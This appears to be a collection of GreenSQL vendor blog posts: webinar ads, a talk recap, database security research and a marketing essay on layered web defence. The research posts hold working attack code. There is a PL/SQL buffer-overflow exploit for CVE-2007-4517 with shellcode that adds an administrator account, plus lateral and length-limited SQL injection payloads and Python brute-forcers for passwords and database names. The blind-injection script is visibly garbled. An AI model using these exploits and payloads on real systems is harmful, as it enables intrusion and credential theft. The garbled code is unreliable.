GreenSQL Dynamic Data Masking enables you to mask or randomize any sensitive information stored on MS SQL Server, MySQL and PostgreSQL databases.

Register Now!

When? Wednesday, May 23, 2012 (9:00 am PDT; 12:00 pm EST; 16:00 pm GMT; 19:00 pm GMT+3:00)

In this webinar, David Maman, GreenSQL Founder and CTO, will explain:

• What Real-Time Dynamic Data Masking is?
• How to dramatically reduce the risk of a data breach?
• How to better comply with regulations?
• How to enforce real-time dynamic data masking?
• How to provide a proactive security layer around applications, reports and tools?
• How to selectively apply masking rules based on end-user identity and access rights?
• How to achieve Row Level Security or a Virtual Private Database with Dynamic Data Masking?

Register Now!

Book an appointment: marketing@greensql.com

See live demos and hear from our expert, GreenSQL’s Founder and CTO, David Maman.

For more information please visit our website: http://www.greensql.com/

Join GreenSQL’s live webinar and learn the actions required in order to protect your invaluable information and that of your customers.

Security expert David Maman, Founder and CTO of GreenSQL, the Unified Database Security Company, will cover the following topics:

-         Advanced database hacking methods

-         Common database security threats

-         How to protect databases from SQL injection attacks

-         Separation of duties as part of the information security cycle

When: Tuesday, March 20, 2012, 10:00 – 11:00 am EDT (Eastern Time US and Canada, GMT-4)

One participant will win a full GreenSQL Enterprise License!   Register Now

The GreenSQL Unified Solution features Security, Auditing, Masking and Performance for databases  in one suite, ensuring that databases are protected from internal and external threats in real-time, while improving performance and facilitating database security policy compliance.

Download any GreenSQL package and get GreenSQL’s Enterprise Edition functionality for an evaluation period of 14 days. 

Read more: http://www.greensql.com/content/greensql-214-now-available

My talk covered topics such as the hype about recent computer security attacks, the lack of social networking security for our virtual presence, database information security, credit card readers and zero-day attacks.

Here are 5 facts I shared with the crowd that most didn’t know:

1. Identity theft is a bigger crime than drugs in the U.S.
2. Social networking is highly unsecured.
3. Many of the largest companies worldwide have been exposed to SQL injection attacks.
4. Internet commerce is more secure than the average mall store.
5. Chances are that your home computers have already been compromised by some sort of malware.

It surprised me to see how many people showed up…and stayed until the end to hear about real-life examples of cyber-attacks!

To view the full video (in Hebrew): http://www.youtube.com/watch?v=xnlHpkXKxYQ

Enjoy,

David

As part of GreenSQL’s Database security research,  we’ve been validating and extending coverage of known and unknown vulnerabilities in order to increase GreenSQL product security, at this post we will reveal a full working Prove of Concept for the CVE-2007-4517 vulnerability which executes arbitrary code.

The Exploit: PL/SQL/2007-4517 exploit is a PL/SQL procedure that exploits the CVE-2007-4517 vulnerability, also known as Oracle Database XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA Procedure Multiple Argument Remote Overflow.

The vulnerability is caused due to a boundary error in the XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA procedure when processing the OWNER and NAME arguments to create an SQL query.

This can be exploited to cause a buffer overflow by passing overly long OWNER and NAME arguments to the affected procedure.

Symptoms

System Changes:
•    New administrative user account.
(Username: GreenSQL, Password:GreenSQL)
•    OracleServiceXE service turns off.

Technical Information
The exploits has been tested on:
• Windows XP Professional SP3.
• Oracle Database 10g Express Edition.

All the known exploits and POC’s developed for this vulnerability so far are Denial-of-Service exploits.

This is a New exploit that actually executes arbitrary code and adds a new user account to the database host operating system.

The Exploit

The PL/SQL procedure calls to the xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA() function with two arguments:
1. “123”.
2. Buffer (2305 bytes)

The buffer consists of payload, jmp instructions, arithmetic instructions and garbage.

When executing the code, the EBX contains the starting address of the buffer + 0x7A5.

In order to execute the payload in the buffer, the following steps needs to be performed:
1. The EIP should point to an address contains the jmp EBX instruction.
2. At the [EBX] address, the exploit needs to jmp -0x7A5 to the start of the buffer.

Jumping to EBX
In order to jump to the address in the EBX register, the EIP should be set to 0x 095F7160.

Jumping to the Payload
In order to execute the payload, the following instructions needs to be performed:
sub ebx, 0x7a5
jmp ebx

The opcodes of the first instruction are:
0×81, 0xEB, 0xA5, 0×07, 0×00, 0×00.
One of the limitations of HEXTORAW() function, is that it’s not able to deal with 0×00 characters.
Because of that reason, instead of using the sub ebx, 0x7a5 instruction, the following instructions need to be performed:
sub bl,0xb0
add bh,0xfa
jmp ebx

Which are equivalent to:
sub ebx, 0x5b0
jmp ebx

Which is equivalent to jmp ebx-0x5b0.

The opcodes of those instructions are:
0×80, 0xEB, 0xB0, 0×80, 0xC7, 0xFA, 0xFF, 0xE3, which are able to be processed by the HEXTORAW() function.

The Payload

The payload’s size is 308 bytes (of 0x7A5-0x5B0 = 0x1F5 = 501 payload’s space)

The payload creates a new user account, called “GreenSQL”, with the password “GreenSQL”.
After creating the user account, it adds the user to the “Administrators” group.

The exploit code is available below.

Conclusions

It’s extremely important to make sure that you have updated your Database with the latest patches and security updates the database vendor has released, this prove of concept shows how it’s possible to gain control over your database host operating system using older vulnerability, which with extended research can be transformed to a new exploit.

Database security solutions, like GreenSQL, provides additional layer of defense against known and unknown attacks.

The Exploit POC

#################################################
## GreenSQL   ########    Proof-of-Concept     ##
## This code is for educational purposes only  ##
#################################################
declare
 sc varchar2(32767);
 junk varchar2(32767);
 junk2 varchar2(32767);
 EBX varchar2(32767);
 junk3 varchar2(32767);
 JMP2SC varchar2(32767);
 junk4 varchar2(32767);
 EIP varchar2(32767);
 junk5 varchar2(32767);
 begin
 junk:='@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';
 sc:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('d9c6bd60dd3d66d9742
 4f45b31c9b147316b18036b1883c3643fc89a8c36'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('33634c29bd8
 67d7bd9c32f4ba986c320ff3250442834d1e30e7be2c58ed72047732a7
 4a74ae589a68b1861fa4456d3ebe12aef0a26214f7543f63bcf4a27934
 404df9803b5de4d5089a9fa'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('a379282afa8
 21a1251bd929fabf9157fdef16502d9c114d86cd4bfabd73c417881b74
 d35c59051c80aab6e41ad7ce7118a58a3c2b3f909a5cc1af51a6950144
 f0b3b738e99413a90a1496df890c2e27f2d01478f6708ee072ed8b24ad
 136f07252b389814ab68ccecc'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('2afd5fb94c5
 260e82e39fa3dd4b967623959470c20e9a7a5d974d56559057c030bba2
 f87f37bbd7291ed122c15d2bb8fe156e329cc768d5064573df4e7f6d16
 d9a975c027a29fa8f13c76b2390650ab737f8bf178f8e5a3d613cf5f15
 dedb44ddaf1'));
 junk2:='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 EBX:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('EB10')) || 'CCCCC';
 junk3:= 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE';
 JMP2SC:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('80EBB080C7FAFFE3'));
 junk4:='@@@@@@@@@@@@@@@@@@@@@@@@';
 EIP:= UTL_RAW.CAST_TO_varchar2(HEXTORAW('095f7160095f7160095f71
 60095f7160095f7160095f7160095f7160095f7160095f7160')); -- jmp EBX
 junk5:='CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC';
 xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA('123', junk||sc||junk2||EBX
 ||junk3||JMP2SC||junk4||EIP||junk5);
 end;

Overview
=======

In order to get the system date in Oracle, you able to query for sysdate field in table dual.
SQL> select sysdate from dual;
SYSDATE
————–
15-SEP-11

SYSDATE format is set in: nls_date_format.

Following the publication: Lateral SQL Injection: A New Class of Vulnerability in Oracle, (http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf) published by David Litchfield, FEB/2008.

This post provides an overview and a demonstration on how this issue is still easily exploitable in Oracle Database.

Vulnerability
=========

Nls_date_format allows input of any string without filtering.
Example:  alter session set nls_date_format = ‘”the time is:”… hh24:mi’

After running that command, the SYSDATE will return the constant sentence “the time is…” and the [hours]:[minutes] (note that the hours are in 24 hours format).

SQL> select sysdate from dual;

SYSDATE
————–
the time is:… 14:27

By manipulating this “feature”, the user can manipulate PL/SQL procedures which base on SYSDATE.
In example, take a look on the following PL/SQL procedure:

create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:=‘select object_name from all_objects where created = ”’ || v_date ||””;
dbms_output.enable;
dbms_output.put_line(stmt);
execute immediate stmt;
end;

The procedure set the variable v_date and set it as SYSDATE.

After setting v_date, the procedure sets stmt as “select object_name from all_objedcts where created = ‘[v_date]’;, which returns the names of all objects that created at the date specified in v_date.
Note that to run and get dbms_output, you need to set serveroutput on before executing the procedure.

Example: select object_name from all_objects where created = ’15-SEP-11′;

Exploitation
==========
An attacker can manipulate that procedure by setting nls_date_format to ‘ or 1=1–.

alter session set nls_date_format = ‘”” or 1=1–”‘;

In this case, stmt will be:

select object_name from all_objects where created = ‘’ or 1=1–’;

Which will return all object_name in all_objects.

in addition, it is able to execute any SQL command, in example:
alter session set nls_date_format = ‘”” union select username from users–”‘;
alter session set nls_date_format = ‘”” union select password from users–”‘;
alter session set nls_date_format = ‘”” union select credit_card_number from clients–”‘;
etc..

Shortest SQL Injection Attack syntax

Overview
=======
In many cases, the user’s input is limited to a specific length.
Although the user’s input length is limited, many times the server is vulnerable to SQL Injection attack’s.
In this post, we’ll discuss two scenarios and how SQL injections attacks are being exploited using shortest SQL injection attack syntax.

Get Database Name through 2-fields attack
==============================
In this scenario, the attacker attacks a web application which receives First-Name and Last-Name, and outputs its matched e-mail address. (see appendix A)

The original SQL query sent to the database is:

select EmailAddress from Person.Contact where FirstName = ‘@fn’ and LastName = ‘@ln’; –where @fn and @ln are the user’s input.

In order to get the database name, the attacker can easily input the following string into one of the fields:

‘ union select db_name();–

That string’s length is 27 bytes.

If the user’s input length is limited to 15 bytes for each field, the previous attack will be blocked. Even though, the attacker can input the following strings to bypass the limitation:

•    First Name: ‘union select/* (15 bytes)
•    Last Name: */db_name();– (12 bytes)

The attack results the following query:

select EmailAddress from person.contact where FirstName = ”union select/*’ and LastName = ‘*/db_name()–’;

This will output the database name!

User Name and Password through 2-fields
=============================
In this scenario, the attacker attacks a web application which receives a username and a password, and outputs “Access Granted!” or “Access Denied!”. The web application limits user’s input to 20 bytes for each field. The web application validates only user’s input length. (see Appendix B)
The application sends the following query:

select count(*) from dbo.users where UserName = ‘@un’ and Password = ‘@pass’; –where @un and @pass are the user’s input

In order to brute-force the first character of david’s password, the attacker sends the strings:

•    User Name: david’and substring/*
•    Password: */(password,1,1)=’p

The attack results the following query:

select count(*) from dbo.users where UserName = ‘david’and substring/*’ and Password = ‘*/(password,1,1)=’p';

Return ‘1’ if the first character of the password is ‘p’ or ‘0’ in any different situation.
In order to brute-force david’s entire password, the attacker can use the following python script:

##################################################
##   GreenSQL 2-fields SQL Injection Attack     ##
##            Password Brute Forcer             ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################

import urllib

un = 'david'and substring/*'
i=0
CurrChr = 0
password = ""

for index in range(1,40):
    if CurrChr == 125:
        break
    for CurrChr in range(32,126):
        pswd = '*/(password,' + str(index) + ',1)='' + chr(CurrChr)
        args = {'UserName':un,'Password':pswd}
        encoded_args = urllib.urlencode(args)
        url = 'http://127.0.0.1:54213/WebSite1/Authentication.aspx'
        print "Sending: ", index, "X", chr(CurrChr)
        f = urllib.urlopen(url, encoded_args)
        contents = f.read()
        f.close()
        if (contents.find('Access Granted') != -1):
            password = password + chr(CurrChr)
            print "Password: ", password
            CurrChr =1
            break
         

        
        
Appendix A - Web Application #1 Source Code
===========================================

<%@ Page Language="C#" Debug="true" %>
  <%@ Import Namespace="System.Data" %>
  <%@ Import Namespace="System.Data.SqlClient" %>
  <html>
 <head><title>Shortest</title></head>
 
  <body>
  <form id = "f" method="post" action="shortest.aspx">
    First Name: <input name = "FirstName" type="text" maxlength="15" />(maxlength: 15) <br />
    Last Name: <input name = "LastName" type="text" maxlength="15"/>(maxlength: 15) <br />
    <input id="submit" type="submit" value="Get Email" />
  </form>
 
  <%
      string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
      DataSet ds = new DataSet();
      string fn = "";
      fn = Request.Form["FirstName"];
      string ln = "";
      ln = Request.Form["LastName"];
      if (fn.Length <= 15 && ln.Length <= 15)
      {
          string command = "select EmailAddress from person.contact where FirstName = '" + fn + "' and LastName = '" + ln + "';";
          SqlDataAdapter data = new SqlDataAdapter(command, conn);
          data.Fill(ds);

          Response.Write("<table>");
          foreach (DataRow row in ds.Tables[0].Rows)
          {
              Response.Write("<tr>");
              foreach (DataColumn col in ds.Tables[0].Columns)
              {
                  Response.Write("<th>");
                  Response.Write(row[col]);
                  Response.Write("</th>");
              }
              Response.Write("</tr>");
          }
          Response.Write("</table>");
          Response.Write(command);
          if (fn != null && ln != null)
              Response.Write("<br />FirstName: " + fn + "(" + fn.Length.ToString() + ")<br />LastName: " + ln + "(" + ln.Length.ToString() + ")<br />Total Length: " + (fn.Length + ln.Length).ToString());
      }
      else
      {
          Response.Write("Username and Passwords are limited to 15 characters maximum!");
      }
  %>
</body>
</html>

Appendix B – Web Application #2 Source Code
===========================================

<%@ Page Language="C#" Debug="true" %>
  <%@ Import Namespace="System.Data" %>
  <%@ Import Namespace="System.Data.SqlClient" %>
  <html>
 <head><title>Shortest</title></head>
 
  <body>
  <form id = "f" method="post" action="Authentication.aspx">
    Username: <input name = "UserName" type="text" maxlength="20" />(maxlength: 20) <br />
    Password: <input name = "Password" type="text" maxlength="20"/>(maxlength: 20) <br />
    <input id="submit" type="submit" value="Authenticate" />
  </form>
 
  <%
      string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
      DataSet ds = new DataSet();
      string un = "";
      un = Request.Form["Username"];
      string pass = "";
      pass = Request.Form["Password"];
      if (un.Length <= 20 && pass.Length <= 20)
      {
          string command = "select count(*) from dbo.users where UserName = '" + un + "' and Password = '" + pass + "';";
          SqlDataAdapter data = new SqlDataAdapter(command, conn);
          data.Fill(ds);

          Response.Write("<table>");
          foreach (DataRow row in ds.Tables[0].Rows)
          {
              Response.Write("<tr>");
              foreach (DataColumn col in ds.Tables[0].Columns)
              {
                  if (System.Convert.ToInt32(row[0]) > 0)

                      Response.Write("Access Granted!");

                  else
                      Response.Write("Access Denied!");
              }
              Response.Write("</tr>");
          }
          Response.Write("</table>");
          Response.Write(command);
          if (un != null && pass != null)
              Response.Write("<br />UserName: " + un + "(" + un.Length.ToString() + ")<br />Password: " + pass + "(" + pass.Length.ToString() + ")<br />Total Length: " + (un.Length + pass.Length).ToString());
      }
      else
      {
          Response.Write("Username and Passwords are limited to 15 characters maximum!");
      }
  %>
</body>
</html>

Time-Based Blind SQL Injection

 
Overview
=======
Blind SQL Injection is an attack which the attacker gets an indication for the query execution success. The attacker doesn’t get the query results.
Most of the time, the indication bases on server errors or customized application errors.

Time-Based Blind SQL Injection
======================
Sometimes the attacker might not be able to identify the query execution success, because the server/application doesn’t show any error.
One of the techniques to get an indication for the query execution success called Time-Based Blind SQL Injection.
With this technique, the attacker executes functions that take some time to finish (for example: Benchmark, Delay, etc.). By measuring the time took the application to response, the attacker might be able to identify if the query executed successfully or the query execution failed.

Discovering Database Details
====================
An attacker can export information from the database by using Time-Based Blind SQL Injection.
For example, an attacker can brute force the database’s name with this technique:
1.    Set the time before the query execution.
2.    Execute the following query:

declare @s varchar(100)
select @s = db_name()
if (ascii(substring(@s,1,1))) = 65
waitfor delay ’0:0:10′
else
waitfor delay ’0:0:2′

3.    Set the time after the query execution.
4.    Calculate time it took to the query to run,
4.1.    if it took 10 seconds, the first character of the database’s name is ‘A’ (ASCII 65)
4.2.    if it took 2 seconds, the first character of the database’s name if NOT ‘A’.

Database’s name brute-forcer (Proof-of-Concept in Python):
==========================================

Tested Environment

1.    Windows 7 64-bits.
2.    MSSQL Server 2008.
3.    Database: AdventureWorks, can be downloaded from: http://msftdbprodsamples.codeplex.com/releases/view/37109)
4.    SQL Server Configuration:
a.    TCP/IP – Enabled.
b.    Authentication Mode – Both SQL Server and Windows.
c.    SQL User:
i.    Name: GreenSQL
ii.    Password: GreenSQL
iii.    Server Roles: sysadmin
iv.    User Mapping: AdventureWorks

This code is for educational purposes only!

Python Source Code
===============

##################################################
##   GreenSQL Time-Based Blind SQL Injection    ##
##          Database Name Brute Forcer          ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################

import pyodbc
import time
## Connect to the DB
cnxn = pyodbc.connect('DRIVER={SQL
Server};SERVER=localhost;DATABASE=AdventureWorks;UID=GreenSQL;PWD=GreenSQL')
cursor = cnxn.cursor()
## Set variables
DBName = ''
CurrChr = 0
FirstRun = int(time.time())
ASCIIRange = range(32,126)
## Discover DB Name (Brute Force)
for i in range(1,100):
if CurrChr == 125: ## if the last loop ended without a match,
break the loop
break
for CurrChr in ASCIIRange:
str(i)
print "Trying Char: " + chr(CurrChr) + " @ position: " +
print "DBName: " + DBName
query = 'declare @s varchar(100) '
query = query + 'select @s = db_name() '
query = query + 'if (ascii(substring(@s, '
query = query + str(i)
query = query + ', 1))) = '
query = query + str(CurrChr)
query = query + ' waitfor delay '0:0:10'' ##if the
current character matches, wait 10 seconds
query = query + 'else '
query = query + 'waitfor delay '0:0:2''
2 seconds
print query
StartTime = int(time.time()) ## Set the time before query
execution (UNIX Time)
cursor.execute(query)
EndTime = int(time.time())
execution (UNIX Time)
if EndTime-StartTime >= 10:
matches,
String
## Execute the query
## Set time after query
## if the current character
DBName = DBName + chr(CurrChr) ## add it to DBName
CurrChr = 1
break
## Print the findings and statistics
DoneTime = int(time.time())
print "DB Name: " + DBName
print "It took " + str(DoneTime - FirstRun) + "seconds!"

Many people believe that if they’ve installed a network firewall, they’ve done their duty. They think that a firewall is like a strong barrier or moat protecting their information assets and that no more is needed. Wrong! Just as in times of old, tunnels can be dug under the moat, ladders can be used to scale the wall, and secret passageways can be found into the castle.

A web environment has four layers that need protection: the Network level, the Application level, the Operating System level and the Database level. Most people think of these layers as being one within the other, like concentric circles. They reason that if they protect the outermost level, the inner levels are automatically protected.

“That is simply not so!” explains David Maman, CTO of GreenSQL. “Hackers can attack a Web environment at each level independently, and security issues at each level need to be addressed.”

At the Network level, a simple network level firewall does protect the infrastructure (the access to which IP addresses and using which port) but provides very limited protection, if any, to stop attacks at the Application and Database level.

You may have heard of bank websites having their links or text or pictures changed. Website defacement and other Application level attacks take place because someone, at some point in time, wrote sloppy software with security holes. Hackers specialize in using exploits, SQL Injections, and other techniques to attack these vulnerabilities at the code level.

One approach to prevent vulnerabilities is to have a professional code review of the software in use in the Web environment to identify and address coding security issues. Of course, reviews are only as good as the reviewers, and no one should ever review their own code. It’s much too easy to overlook one’s own mistakes.

An additional and important approach is to update all the applications in use and to harden your web and database servers. For example, Oracle has just released 78(!!) security updates in their latest release.

Another option is to use a signature-based approach to spot and then quarantine this kind of attack. Each Application level attack has a “signature” or typical way of operating that identifies it. A comparison of Web Application Firewalls (WAF) shows that some are more effective than others, but none is perfect.

The Database level, the fourth essential layer in a web environment, needs protection from attacks directed at the database. In the end, most of today’s common attacks are aimed at retrieving sensitive information from the database. This makes the fourth layer the most crucial one.

So, for security, check all four: Network, Application, Operating System and Database. To make sure your information assets are protected, your best bet is to use an integrated database security solution that is non-disruptive to existing software and databases, is easy to install and use, and provides extensive management reporting and audit trails, all without degrading responsiveness to users. Inexpensive would be nice.

GreenSQL anyone?